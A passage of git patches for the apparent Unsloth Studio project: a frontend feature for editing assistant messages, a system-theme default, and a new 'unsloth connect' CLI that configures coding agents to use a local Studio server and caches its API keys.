-            Source: Sources,
-            ToolGroup: ToolGroup,
-            tools: {
-              by_name: {
-                web_search: WebSearchToolUIConfirmable,
-                search_knowledge_base: KnowledgeBaseToolUIConfirmable,
-                python: PythonToolUIConfirmable,
-                terminal: TerminalToolUIConfirmable,
-                code_execution: CodeExecutionToolUIConfirmable,
-                image_generation: ImageGenerationToolUIConfirmable,
-                render_html: RenderHtmlToolUIConfirmable,
-              },
-              Fallback: ToolFallbackConfirmable,
-            },
-          }}
-        />
-        <SourcesGroup />
-        <RagSourcesGroup />
-        <MessageHtmlArtifacts />
-        <MessageError />
+        {isEditing ? (
+          <div className="flex flex-col gap-2 w-full">
+            <textarea 
+              ref={textareaRef}
+              defaultValue={extractTaggedText(messageContent)}
+              className="w-full p-3 rounded-xl bg-muted border border-border text-foreground focus:ring-2 focus:ring-primary outline-none overflow-y-auto resize-none font-mono text-sm max-h-[70vh]" 
+              autoFocus
+              onInput={adjustHeight} 
+              onKeyDown={(e) => {
+                e.stopPropagation(); 
+                if (e.key === 'Enter' && (e.ctrlKey || e.metaKey)) {
+                  handleSave();
+                }
+                if (e.key === 'Escape') {
+                  setEditingId(null); // UX: Close editor on Escape
+                }
+              }}
+            />
+            <div className="flex justify-end gap-2">
+              <Button size="sm" variant="ghost" onClick={() => setEditingId(null)} className="h-8 text-xs">Cancel</Button>
+              <Button size="sm" onClick={handleSave} className="h-8 text-xs">Save</Button>
+            </div>
+          </div>
+        ) : (
+          <>
+            <GeneratingIndicator />
+            <CancelledIndicator />
+            <DiffusionCanvas />
+            
+            {/* 
+                We use the standard MessagePrimitive.Parts. This ensures that 
+                edited messages maintain the same professional styling, 
+                Markdown rendering, and tool-call components as original responses.
+            */}
+            <MessagePrimitive.Parts
+              components={{
+                Text: MarkdownText,
+                Reasoning: Reasoning,
+                ReasoningGroup: ReasoningGroup,
+                Source: Sources,
+                ToolGroup: ToolGroup,
+                tools: {
+                  by_name: {
+                    web_search: WebSearchToolUIConfirmable,
+                    search_knowledge_base: KnowledgeBaseToolUIConfirmable,
+                    python: PythonToolUIConfirmable,
+                    terminal: TerminalToolUIConfirmable,
+                    code_execution: CodeExecutionToolUIConfirmable,
+                    image_generation: ImageGenerationToolUIConfirmable,
+                    render_html: RenderHtmlToolUIConfirmable,
+                  },
+                  Fallback: ToolFallbackConfirmable,
+                },
+              }}
+            />
+            <SourcesGroup />
+            <RagSourcesGroup />
+            <MessageHtmlArtifacts />
+            <MessageError />
+          </>
+        )}
       </div>
 
       <div className="aui-assistant-message-footer mt-1.5 -ml-[var(--icon-btn-inset)] flex min-h-8">
@@ -3416,6 +3514,26 @@ const CopyButton: FC = () => {
   );
 };
 
+const EditAssistantMessageButton: FC = () => {
+  const messageId = useAuiState(({ message }) => message.id);
+  const isRunning = useAuiState(({ thread }) => thread.isRunning);
+  const setEditingId = useChatRuntimeStore((s) => s.setEditingMessageId);
+
+  return (
+    <TooltipIconButton
+      tooltip="Edit response"
+      disabled={isRunning}
+      onClick={() => setEditingId(messageId)}
+    >
+      <HugeiconsIcon
+        icon={Edit03Icon}
+        strokeWidth={1.75}
+        className="size-icon"
+      />
+    </TooltipIconButton>
+  );
+};
+
 const AssistantActionBar: FC = () => {
   const { forkMessage, forkDisabled } = useForkMessageAction();
 
@@ -3425,6 +3543,7 @@ const AssistantActionBar: FC = () => {
       className="aui-assistant-action-bar-root col-start-3 row-start-2 flex items-center gap-1 text-chat-icon-fg [&_button:not([data-slot=message-timing-trigger])]:size-8 [&_button]:!rounded-full [&_button:hover]:bg-chat-icon-bg-hover [&_button:hover]:text-chat-icon-fg-hover"
     >
       <CopyButton />
+      <EditAssistantMessageButton />
       <ActionBarPrimitive.Reload asChild={true}>
         <TooltipIconButton tooltip="Refresh">
           <RefreshCwIcon strokeWidth={1.75} className="size-icon" />
@@ -3457,7 +3576,11 @@ const AssistantActionBar: FC = () => {
           </ActionBarMorePrimitive.Item>
           <ActionBarPrimitive.ExportMarkdown asChild={true}>
             <ActionBarMorePrimitive.Item className="aui-action-bar-more-item flex cursor-pointer select-none items-center gap-2 rounded-[12px] px-3 py-2 text-sm outline-none hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground">
-              <HugeiconsIcon icon={Download01Icon} strokeWidth={1.75} className="size-icon" />
+              <HugeiconsIcon
+                icon={Download01Icon}
+                strokeWidth={1.75}
+                className="size-icon"
+              />
               Export as Markdown
             </ActionBarMorePrimitive.Item>
           </ActionBarPrimitive.ExportMarkdown>
diff --git a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
index 68b8d1d523..f5db82366c 100644
--- a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
+++ b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
@@ -606,6 +606,7 @@ type ChatRuntimeStore = {
    */
   incognito: boolean;
   settingsPanelOpen: boolean;
+  editingMessageId: string | null;
   pendingAudioBase64: string | null;
   pendingAudioName: string | null;
   pendingImageEditReference: PendingImageEditReference | null;
@@ -639,6 +640,7 @@ type ChatRuntimeStore = {
   setActiveProjectId: (projectId: string | null) => void;
   setIncognito: (incognito: boolean) => void;
   setSettingsPanelOpen: (open: boolean) => void;
+  setEditingMessageId: (id: string | null) => void;
   clearCheckpoint: () => void;
   setReasoningEnabled: (
     enabled: boolean,
@@ -1012,6 +1014,7 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   activeProjectId: null,
   incognito: false,
   settingsPanelOpen: false,
+  editingMessageId: null,
   pendingAudioBase64: null,
   pendingAudioName: null,
   pendingImageEditReference: null,
@@ -1186,6 +1189,7 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   setActiveProjectId: (activeProjectId) => set({ activeProjectId }),
   setIncognito: (incognito) => set({ incognito }),
   setSettingsPanelOpen: (settingsPanelOpen) => set({ settingsPanelOpen }),
+  setEditingMessageId: (id) => set({ editingMessageId: id }),
   clearCheckpoint: () => {
     // Mirror setCheckpoint's persistence: dropping the checkpoint must also
     // clear any stored external selection so the next refresh doesn't snap
diff --git a/studio/frontend/src/features/chat/utils/update-thread-message.ts b/studio/frontend/src/features/chat/utils/update-thread-message.ts
new file mode 100644
index 0000000000..5029b05956
--- /dev/null
+++ b/studio/frontend/src/features/chat/utils/update-thread-message.ts
@@ -0,0 +1,155 @@
+import type { ExportedMessageRepository, ThreadMessage } from "@assistant-ui/react";
+import { saveChatMessage } from "../api/chat-api";
+
+type ThreadImportExport = {
+  export: () => ExportedMessageRepository;
+  import: (data: ExportedMessageRepository) => void;
+};
+
+type ContentPart = { type: "text" | "reasoning" | "tool"; text: string };
+
+/**
+ * Extracts only the editable text and reasoning from a message, 
+ * ignoring structured parts like tool calls that cannot be edited as plain text.
+ */
+export function extractTaggedText(content: any): string {
+  if (typeof content === 'string') return content;
+  if (!Array.isArray(content)) return "";
+
+  const open = "\u003C"; // <
+  const close = "\u003E"; // >
+
+  return content
+    .map((part: any) => {
+      if (typeof part === 'string') return part;
+      if (!part) return "";
+      
+      // Only extract text from 'text' or 'reasoning' parts.
+      // Tool calls/responses are ignored here so they aren't accidentally 
+      // deleted or corrupted by the user in the textarea.
+      const text = part.text || part.content || "";
+      if (!text) return "";
+      
+      switch (part.type) {
+        case 'reasoning': 
+          // Trim the text first so we don't accumulate newlines 
+          // around the tags on every save.
+          return `${open}THINK${close}\n${text.trim()}\n${open}/THINK${close}`;
+        case 'text':
+        default:
+          return text;
+      }
+    })
+    .filter(Boolean)
+    .join('\n\n');
+}
+
+function parseTaggedTextToContent(text: string): ContentPart[] {
+  const parts: ContentPart[] = [];
+  const tagRegex = /(<\/?(THINK|TOOL)>)/g;
+  let lastIndex = 0;
+  let match;
+  let currentType: ContentPart["type"] = "text";
+
+  while ((match = tagRegex.exec(text)) !== null) {
+    const fullTag = match[0];
+    const tagName = match[2];
+    const index = match.index;
+
+    if (index > lastIndex) {
+      // Trim the extracted content to remove any leading/trailing 
+      // newlines created by the tag wrapping process.
+      const content = text.substring(lastIndex, index).trim();
+      if (content) parts.push({ type: currentType, text: content });
+    }
+    
+    currentType = fullTag.startsWith("</") ? "text" : (tagName === "THINK" ? "reasoning" : "tool");
+    lastIndex = index + fullTag.length;
+  }
+
+  if (lastIndex < text.length) {
+    const remainingText = text.substring(lastIndex).trim();
+    if (remainingText) parts.push({ type: currentType, text: remainingText });
+  }
+
+  return parts;
+}
+
+export async function updateThreadMessage(args: {
+  thread: ThreadImportExport;
+  messageId: string;
+  remoteId: string | undefined;
+  newText: string;
+  isIncognito: boolean; // <--- ADD THIS
+}) {
+  const { thread, messageId, remoteId, newText, isIncognito } = args;
+  const parsedEditableContent = parseTaggedTextToContent(newText);
+  const currentExport = thread.export();
+
+  const targetMessageEntry = currentExport.messages.find(m => m.message.id === messageId);
+  if (!targetMessageEntry) {
+    throw new Error(`Message with ID ${messageId} not found in thread.`);
+  }
+
+  const { parentId: originalParentId } = targetMessageEntry; 
+  const { createdAt: originalCreatedAt } = targetMessageEntry.message;
+
+  const updatedMessages = currentExport.messages.map((m) => {
+    if (m.message.id !== messageId) return m;
+
+    const originalContent = m.message.content;
+    let finalContent: any[] = [];
+
+    if (Array.isArray(originalContent)) {
+      const firstEditableIndex = originalContent.findIndex((part: any) => 
+        part.type === 'text' || part.type === 'reasoning'
+      );
+
+      if (firstEditableIndex === -1) {
+        const nonEditableParts = originalContent.filter((part: any) => 
+          part.type !== 'text' && part.type !== 'reasoning'
+        );
+        finalContent = [...parsedEditableContent, ...nonEditableParts];
+      } else {
+        const before = originalContent.slice(0, firstEditableIndex);
+        const after = originalContent.slice(firstEditableIndex + 1).filter((part: any) => 
+          part.type !== 'text' && part.type !== 'reasoning'
+        );
+        finalContent = [...before, ...parsedEditableContent, ...after];
+      }
+    } else {
+      finalContent = parsedEditableContent;
+    }
+
+    return {
+      ...m,
+      message: {
+        ...m.message,
+        content: finalContent,
+      },
+    };
+  }) as typeof currentExport.messages;
+
+  const originalExport = currentExport;
+  thread.import({ ...currentExport, messages: updatedMessages });
+
+  // If it's NOT incognito, we attempt to save to the DB regardless of the ID.
+  if (remoteId && !isIncognito) {
+    try {
+      await saveChatMessage({
+        id: messageId,
+        threadId: remoteId,
+        parentId: originalParentId,
+        role: "assistant",
+        content: (updatedMessages.find(m => m.message.id === messageId)?.message.content) || [],
+        createdAt: originalCreatedAt ? Number(originalCreatedAt) : Date.now(),
+      });
+    } catch (e) {
+      thread.import(originalExport);
+      console.error("Backend sync failed for message update. Rolling back UI.", e);
+      throw e;
+    }
+  }
+
+  return (updatedMessages.find(m => m.message.id === messageId)?.message.content) || [];
+}
\ No newline at end of file

From c0cd3a506c097014e1461b3b0bd776feb150d165 Mon Sep 17 00:00:00 2001
From: Etherll <61019402+Etherll@users.noreply.github.com>
Date: Wed, 17 Jun 2026 19:35:14 +0300
Subject: [PATCH 47/91] Use system theme and apply theme on mount (#6405)

Set ThemeProvider defaultTheme to "system" and enable system preference so the app follows the OS theme. In the theme store, apply the resolved theme to the document immediately on mount so the store is the single source of truth and avoids an initial light flash on fresh origins (e.g. empty localStorage). Minor comment and formatting tweaks in setTheme were also made.

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 studio/frontend/src/app/provider.tsx                   |  2 +-
 .../src/features/settings/stores/theme-store.ts        | 10 ++++++++--
 2 files changed, 9 insertions(+), 3 deletions(-)

diff --git a/studio/frontend/src/app/provider.tsx b/studio/frontend/src/app/provider.tsx
index 39e04843a9..29644d04cf 100644
--- a/studio/frontend/src/app/provider.tsx
+++ b/studio/frontend/src/app/provider.tsx
@@ -335,7 +335,7 @@ function TauriWrapper({ children }: { children: ReactNode }) {
 
 export function AppProvider({ children }: AppProviderProps) {
   return (
-    <ThemeProvider attribute="class" defaultTheme="light">
+    <ThemeProvider attribute="class" defaultTheme="system" enableSystem>
       <TooltipProvider>
         <TauriWrapper>
           {children}
diff --git a/studio/frontend/src/features/settings/stores/theme-store.ts b/studio/frontend/src/features/settings/stores/theme-store.ts
index 9d05582c77..6a1275fb6f 100644
--- a/studio/frontend/src/features/settings/stores/theme-store.ts
+++ b/studio/frontend/src/features/settings/stores/theme-store.ts
@@ -50,6 +50,12 @@ function subscribe(cb: () => void) {
     applyToDocument(resolveTheme(readStoredTheme()));
     cb();
   };
+  // Apply on mount so this store is the single source of truth for the DOM
+  // class. Without this, initial paint depends solely on next-themes, which on
+  // a fresh origin (e.g. a new Cloudflare --secure link with empty
+  // localStorage) falls back to its own default and shows light while the
+  // control still reads "system".
+  applyToDocument(resolveTheme(readStoredTheme()));
   const onStorage = (e: StorageEvent) => {
     if (e.key === STORAGE_KEY || e.key === null) syncTheme();
   };
@@ -77,8 +83,8 @@ function getServerSnapshot(): Theme {
  */
 export function setTheme(next: Theme): void {
   if (typeof window === "undefined") return;
-  // Persist "system" explicitly so next-themes (defaultTheme="light")
-  // doesn't clobber the choice on reload.
+  // Persist "system" explicitly so next-themes doesn't clobber the choice on
+  // reload.
   try {
     window.localStorage.setItem(STORAGE_KEY, next);
   } catch {

From fbed3f258c02635726b6ca4aad87ff4eab1ecaba Mon Sep 17 00:00:00 2001
From: Nilay <118994073+NilayYadav@users.noreply.github.com>
Date: Wed, 17 Jun 2026 23:56:55 +0530
Subject: [PATCH 48/91] CLI: add `unsloth connect` to point coding agents at a
 local Studio server (#6407)

* unsloth connect

* harden error paths, fix codex oss_provider routing, tighten key cache perms

* Increase timeout for studio server lookup and enhance key caching logic

* openclaw/opencode/hermes to connect

* improvements

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* error handling for requested models not loaded

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix claude connect env under WSL

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
---
 unsloth_cli/__init__.py           |   6 +
 unsloth_cli/_inference.py         |  11 +-
 unsloth_cli/commands/connect.py   | 721 ++++++++++++++++++++++++++++++
 unsloth_cli/tests/test_connect.py | 679 ++++++++++++++++++++++++++++
 4 files changed, 1415 insertions(+), 2 deletions(-)
 create mode 100644 unsloth_cli/commands/connect.py
 create mode 100644 unsloth_cli/tests/test_connect.py

diff --git a/unsloth_cli/__init__.py b/unsloth_cli/__init__.py
index 08d7e17e8c..440b6276cd 100644
--- a/unsloth_cli/__init__.py
+++ b/unsloth_cli/__init__.py
@@ -11,6 +11,7 @@ from importlib.metadata import version as package_version, PackageNotFoundError
 from unsloth_cli.commands.train import train
 from unsloth_cli.commands.inference import inference
 from unsloth_cli.commands.chat import chat
+from unsloth_cli.commands.connect import connect_app
 from unsloth_cli.commands.export import export, list_checkpoints
 from unsloth_cli.commands.studio import (
     run as studio_run,
@@ -77,6 +78,11 @@ app.command()(chat)
 app.command()(export)
 app.command("list-checkpoints")(list_checkpoints)
 app.add_typer(studio_app, name = "studio", help = "Unsloth Studio commands.")
+app.add_typer(
+    connect_app,
+    name = "connect",
+    help = "Connect a coding agent (Claude Code, Codex) to Studio.",
+)
 
 # Top-level `unsloth run` aliases `unsloth studio run`; same context
 # so unknown flags still pass through to llama-server.
diff --git a/unsloth_cli/_inference.py b/unsloth_cli/_inference.py
index 5e734ee2a1..1faa632926 100644
--- a/unsloth_cli/_inference.py
+++ b/unsloth_cli/_inference.py
@@ -14,6 +14,10 @@ import typer
 _THINK_OPEN = "<think>"
 _THINK_BLOCK = re.compile(rf"{re.escape(_THINK_OPEN)}.*?</think>", re.DOTALL)
 
+# Cloudflare (in front of remote Studio proxies like RunPod) 403s the default
+# "Python-urllib/X.Y" User-Agent as a bot; send a real one on every request.
+_USER_AGENT = "unsloth-cli"
+
 
 def ensure_studio_backend_path() -> None:
     backend_dir = str(Path(__file__).resolve().parents[1] / "studio" / "backend")
@@ -254,11 +258,13 @@ def load_chat_backend(
     return ChatBackend("unsloth", backend)
 
 
-def find_studio_server(timeout: float = 0.4) -> Optional[str]:
+def find_studio_server(timeout: float = 3.0) -> Optional[str]:
     import urllib.request
+
     base = os.environ.get("UNSLOTH_STUDIO_URL", "http://127.0.0.1:8888").rstrip("/")
+    request = urllib.request.Request(f"{base}/api/health", headers = {"User-Agent": _USER_AGENT})
     try:
-        with urllib.request.urlopen(f"{base}/api/health", timeout = timeout):
+        with urllib.request.urlopen(request, timeout = timeout):
             return base
     except Exception:
         return None
@@ -306,6 +312,7 @@ class HttpChatBackend:
             headers = {
                 "Authorization": f"Bearer {self._token}",
                 "Content-Type": "application/json",
+                "User-Agent": _USER_AGENT,
             },
             method = method,
         )
diff --git a/unsloth_cli/commands/connect.py b/unsloth_cli/commands/connect.py
new file mode 100644
index 0000000000..05f75d263c
--- /dev/null
+++ b/unsloth_cli/commands/connect.py
@@ -0,0 +1,721 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""`unsloth connect` — launch a coding agent against a running Studio server."""
+
+import json
+import os
+import re
+import shlex
+import shutil
+import signal
+import subprocess
+import urllib.error
+import urllib.request
+from pathlib import Path
+from typing import NoReturn, Optional
+
+import typer
+
+from unsloth_cli._inference import (
+    _USER_AGENT,
+    _studio_token,
+    ensure_studio_backend_path,
+    find_studio_server,
+)
+
+connect_app = typer.Typer(
+    help = "Connect a coding agent to a running Studio server.",
+    no_args_is_help = True,
+    context_settings = {"help_option_names": ["-h", "--help"]},
+)
+
+_CODEX_PROFILE = "unsloth_api"
+_CODEX_ENV_KEY = "UNSLOTH_STUDIO_AUTH_TOKEN"
+_HERMES_ENV_KEY = "UNSLOTH_API_KEY"
+_HERMES_PROVIDER = "unsloth"
+_PROVIDER_HEADER = f"[model_providers.{_CODEX_PROFILE}]"
+_PASSTHROUGH = {"allow_extra_args": True, "ignore_unknown_options": True}
+_CLAUDE_ENV_UNSET = ("ANTHROPIC_API_KEY", "CLAUDE_CODE_OAUTH_TOKEN")
+
+# Shared by every agent command; only the config/env/command differ.
+_MODEL_OPTION = typer.Option(
+    None, "--model", "-m", help = "Model for the agent; defaults to the one loaded in Studio."
+)
+_KEY_OPTION = typer.Option(
+    None,
+    "--api-key",
+    envvar = "UNSLOTH_API_KEY",
+    help = "Studio API key; minted automatically when omitted. Keys are remembered, so passing one once is enough.",
+)
+_LAUNCH_OPTION = typer.Option(
+    True,
+    "--launch/--no-launch",
+    help = "--no-launch prints the env and command instead (remote shells, WSL).",
+)
+
+
+def _fail(message: str) -> NoReturn:
+    typer.echo(message, err = True)
+    raise typer.Exit(code = 1)
+
+
+def _http_error_detail(exc: urllib.error.HTTPError) -> str:
+    try:
+        body = json.loads(exc.read().decode())
+        return body.get("detail") or body["error"]["message"]
+    except Exception:
+        return str(exc)
+
+
+def _http_json(
+    method: str,
+    url: str,
+    token: str,
+    payload = None,
+    timeout = 30,
+    error = None,
+):
+    """On HTTPError: raise if `error` is None, else fail with `error` plus the server's detail."""
+    request = urllib.request.Request(
+        url,
+        data = None if payload is None else json.dumps(payload).encode(),
+        headers = {
+            "Authorization": f"Bearer {token}",
+            "Content-Type": "application/json",
+            "User-Agent": _USER_AGENT,
+        },
+        method = method,
+    )
+    try:
+        with urllib.request.urlopen(request, timeout = timeout) as response:
+            return json.loads(response.read().decode() or "{}")
+    except urllib.error.HTTPError as exc:
+        if error is None:
+            raise
+        _fail(f"{error}: {_http_error_detail(exc)}")
+    except (urllib.error.URLError, TimeoutError) as exc:
+        if error is None:
+            raise
+        _fail(f"{error}: {getattr(exc, 'reason', None) or exc}")
+
+
+def _require_studio() -> str:
+    base = find_studio_server()
+    if base is None:
+        expected = os.environ.get("UNSLOTH_STUDIO_URL", "http://127.0.0.1:8888")
+        _fail(
+            f"No running Studio server found at {expected}. Start one with "
+            "`unsloth studio`, or point UNSLOTH_STUDIO_URL at a remote server."
+        )
+    return base
+
+
+def _key_cache_path() -> Path:
+    ensure_studio_backend_path()
+    from utils.paths import auth_root
+    return auth_root() / "agent_api_key.json"
+
+
+def _cached_keys(cache: Path) -> list:
+    try:
+        data = json.loads(cache.read_text())
+    except Exception:
+        return []
+    if not isinstance(data, dict):
+        return []
+    keys = [k for k in data.get("keys", []) if isinstance(k, str)]
+    legacy = data.get("key")  # pre-multi-key cache format
+    if isinstance(legacy, str) and legacy not in keys:
+        keys.append(legacy)
+    return keys
+
+
+def _write_private_json(path: Path, data: dict) -> None:
+    # O_CREAT with 0o600 so a file holding an API key is never world-readable,
+    # even briefly (existing files keep whatever perms the user set).
+    path.parent.mkdir(parents = True, exist_ok = True, mode = 0o700)
+    fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
+    with os.fdopen(fd, "w") as handle:
+        handle.write(json.dumps(data, indent = 2) + "\n")
+
+
+def _read_json_object(path: Path) -> Optional[dict]:
+    # {} when missing, None when it can't be parsed as an object (so the caller
+    # leaves a user-managed file untouched rather than clobbering it).
+    if not path.exists():
+        return {}
+    try:
+        data = json.loads(path.read_text(encoding = "utf-8"))
+    except (ValueError, OSError):
+        return None
+    return data if isinstance(data, dict) else None
+
+
+def _subdict(parent: dict, key: str) -> dict:
+    child = parent.get(key)
+    if not isinstance(child, dict):
+        child = parent[key] = {}
+    return child
+
+
+def _remember_key(cache: Path, key: str) -> None:
+    existing = _cached_keys(cache)
+    keys = ([key] + [k for k in existing if k != key])[:8]
+    if keys == existing:
+        return
+    try:
+        _write_private_json(cache, {"keys": keys})
+    except OSError:
+        pass  # worst case the next launch mints another key
+
+
+def _agent_api_key(base: str, explicit: Optional[str]) -> str:
+    cache = _key_cache_path()
+    if explicit:
+        _remember_key(cache, explicit)
+        return explicit
+
+    # Keys are per-server, so when switching between Studios (local one day,
+    # an SSH-tunnelled remote the next) the right key is whichever validates.
+    for key in _cached_keys(cache):
+        try:
+            _http_json("GET", f"{base}/v1/models", key)
+        except Exception:
+            continue
+        _remember_key(cache, key)
+        return key
+
+    token = _studio_token()
+    auth_help = (
+        "Couldn't authenticate with the Studio server automatically (it may be "
+        "remote, or running as a different OS user). Create an API key in "
+        "Studio → Settings → API and pass it once with --api-key; it is "
+        "remembered for next time."
+    )
+    if token is None:
+        _fail(auth_help)
+    try:
+        key = _http_json(
+            "POST",
+            f"{base}/api/auth/api-keys",
+            token,
+            {"name": "Coding agents (unsloth connect)"},
+        )["key"]
+    except urllib.error.HTTPError as exc:
+        # A self-issued token only validates against a local, same-OS-user
+        # server; a remote Studio signs with a different secret and rejects it
+        # (401/403). Point at --api-key instead of the raw "expired token".
+        if exc.code in (401, 403):
+            _fail(auth_help)
+        _fail(f"Couldn't create an API key: {_http_error_detail(exc)}")
+    except (urllib.error.URLError, TimeoutError) as exc:
+        _fail(f"Couldn't create an API key: {getattr(exc, 'reason', None) or exc}")
+    _remember_key(cache, key)
+    return key
+
+
+def _loaded_models(base: str, key: str) -> list:
+    return _http_json("GET", f"{base}/v1/models", key, error = "Couldn't list models").get("data", [])
+
+
+def _resolve_model(base: str, key: str, requested: Optional[str]) -> dict:
+    models = _loaded_models(base, key)
+    match = next((m for m in models if m["id"] == requested), None)
+    if requested and match is None:
+        typer.echo(f"Loading {requested} on the Studio server (this can take a while)…")
+        loaded = _http_json(
+            "POST",
+            f"{base}/api/inference/load",
+            key,
+            {"model_path": requested},
+            timeout = 3600,
+            error = "Model load failed",
+        )
+        # Studio registers the model under a canonical id (resolved identifier,
+        # casing) that /v1/models echoes but which may differ from the path we
+        # passed; match on the id the load reports so we don't silently fall
+        # through to models[0] and connect to a different loaded model.
+        wanted = {requested}
+        if isinstance(loaded, dict):
+            wanted |= {loaded.get("model"), loaded.get("display_name")} - {None}
+        models = _loaded_models(base, key)
+        match = next((m for m in models if m["id"] in wanted), None)
+    if match is not None:
+        return match
+    if requested:
+        # We asked Studio to load it and it didn't surface in /v1/models; don't
+        # silently hand back an unrelated loaded model.
+        _fail(
+            f"Studio didn't report '{requested}' as loaded. Double-check the model "
+            "id, or load it from the model dropdown in the UI."
+        )
+    if not models:
+        _fail(
+            "No model is loaded in Studio. Load one from the model dropdown in "
+            "the UI, or pass --model <hf-id-or-path> to load it from here."
+        )
+    return models[0]
+
+
+def _require_gguf_for_codex(base: str, key: str, model_id: str) -> None:
+    # Codex always streams, and Studio only streams /v1/responses from llama-server.
+    try:
+        status = _http_json("GET", f"{base}/api/inference/status", key)
+    except urllib.error.HTTPError as exc:
+        if exc.code == 404:
+            return  # older server without the endpoint; don't block the launch
+        raise
+    if status.get("is_gguf"):
+        return
+    hint = model_id if "gguf" in model_id.lower() else f"{model_id}-GGUF"
+    _fail(
+        f"Codex needs a GGUF model served by llama-server, but {model_id} is on "
+        f"the transformers backend. Try: unsloth connect codex --model {hint}"
+    )
+
+
+def claude_settings_path() -> Path:
+    return Path.home() / ".claude" / "settings.json"
+
+
+def ensure_claude_attribution_header() -> None:
+    # The header invalidates the llama.cpp KV cache (~90% slower) and Claude
+    # Code only honors this setting from settings.json, not the env var.
+    path = claude_settings_path()
+    settings = {}
+    if path.exists():
+        try:
+            settings = json.loads(path.read_text(encoding = "utf-8"))
+        except (ValueError, OSError):
+            settings = None
+        if not isinstance(settings, dict):
+            typer.echo(
+                f"Warning: couldn't parse {path} — set CLAUDE_CODE_ATTRIBUTION_HEADER "
+                'to "0" in its "env" section yourself, or local inference will be much slower.',
+                err = True,
+            )
+            return
+    env = settings.get("env")
+    if not isinstance(env, dict):
+        env = settings["env"] = {}
+    if str(env.get("CLAUDE_CODE_ATTRIBUTION_HEADER")) == "0":
+        return
+    env["CLAUDE_CODE_ATTRIBUTION_HEADER"] = "0"
+    try:
+        path.parent.mkdir(parents = True, exist_ok = True)
+        path.write_text(json.dumps(settings, indent = 2) + "\n", encoding = "utf-8")
+    except OSError:
+        typer.echo(
+            f"Warning: couldn't write {path} — set CLAUDE_CODE_ATTRIBUTION_HEADER "
+            'to "0" in its "env" section yourself, or local inference will be much slower.',
+            err = True,
+        )
+        return
+    typer.echo(f"Disabled Claude Code's attribution header in {path} (it breaks KV-cache reuse).")
+
+
+_DYNAMIC_SECTIONS_FLAG = "--exclude-dynamic-system-prompt-sections"
+
+
+def _claude_cache_flags() -> list:
+    # The flag moves per-machine context (cwd, env info, git status) out of
+    # the system prompt, where it changes every session and defeats llama.cpp
+    # prefix caching. As of 2.1.175 it only takes effect in print mode (`-p`
+    # passed through ctx.args); interactive sessions accept and ignore it.
+    # Claude Code < 2.1.98 aborts on the unknown flag, so check the version
+    # first; no local binary means a --no-launch printout for another machine.
+    executable = shutil.which("claude")
+    if executable is None:
+        return [_DYNAMIC_SECTIONS_FLAG]
+    try:
+        result = subprocess.run(
+            [executable, "--version"], capture_output = True, text = True, timeout = 10
+        )
+        version = tuple(int(part) for part in result.stdout.split()[0].split("."))
+    except Exception:
+        return []
+    return [_DYNAMIC_SECTIONS_FLAG] if version >= (2, 1, 98) else []
+
+
+def codex_home() -> Path:
+    return Path(os.environ.get("CODEX_HOME") or Path.home() / ".codex")
+
+
+def _merge_codex_config(existing: str, base: str) -> str:
+    chunks = re.split(r"(?m)^(?=\[)", existing)  # preamble, then one chunk per table
+    if not re.search(r"(?m)^\s*oss_provider\s*=", chunks[0]):
+        if chunks[0] and not chunks[0].endswith("\n"):
+            chunks[0] += "\n"
+        chunks[0] += f'oss_provider = "{_CODEX_PROFILE}"\n'
+    # Drop the provider table and any stale [model_providers.unsloth_api.*] subtables.
+    stale = (_PROVIDER_HEADER, _PROVIDER_HEADER[:-1] + ".")
+    text = "".join(c for c in chunks if not c.startswith(stale))
+    if not text.endswith("\n"):
+        text += "\n"
+    if not text.endswith("\n\n"):
+        text += "\n"
+    return text + (
+        f"{_PROVIDER_HEADER}\n"
+        'name = "Unsloth Studio"\n'
+        f"base_url = {json.dumps(base + '/v1')}\n"
+        f'env_key = "{_CODEX_ENV_KEY}"\n'
+        'wire_api = "responses"\n'
+        "requires_openai_auth = false\n"
+    )
+
+
+def write_codex_config(base: str, model: dict) -> None:
+    home = codex_home()
+    home.mkdir(parents = True, exist_ok = True)
+
+    config = home / "config.toml"
+    existing = config.read_text(encoding = "utf-8") if config.exists() else ""
+    merged = _merge_codex_config(existing, base)
+    if merged != existing:
+        config.write_text(merged, encoding = "utf-8")
+        typer.echo(f"Updated {config}")
+
+    # oss_provider here too: codex --oss picks the provider from it, and the
+    # profile layer must beat a user-set value (e.g. "ollama") in config.toml.
+    profile_text = (
+        f'oss_provider = "{_CODEX_PROFILE}"\n'
+        f'model_provider = "{_CODEX_PROFILE}"\n'
+        f"model = {json.dumps(model['id'])}\n"
+    )
+    window = model.get("context_length") or model.get("max_context_length")
+    if window:
+        profile_text += f"model_context_window = {int(window)}\n"
+    profile = home / f"{_CODEX_PROFILE}.config.toml"
+    if not profile.exists() or profile.read_text(encoding = "utf-8") != profile_text:
+        profile.write_text(profile_text, encoding = "utf-8")
+        typer.echo(f"Updated {profile}")
+
+
+def _wsl_windows_executable(command: list) -> Optional[str]:
+    if os.name == "nt" or not os.environ.get("WSL_DISTRO_NAME"):
+        return None
+    executable = shutil.which(command[0])
+    if executable and executable.startswith("/mnt/"):
+        return executable
+    return None
+
+
+def _merge_wslenv(current: str, names: tuple) -> str:
+    entries = [entry for entry in current.split(":") if entry]
+    existing = {entry.split("/", 1)[0] for entry in entries}
+    entries.extend(name for name in names if name not in existing)
+    return ":".join(entries)
+
+
+def _print_env(
+    env: dict,
+    command: list,
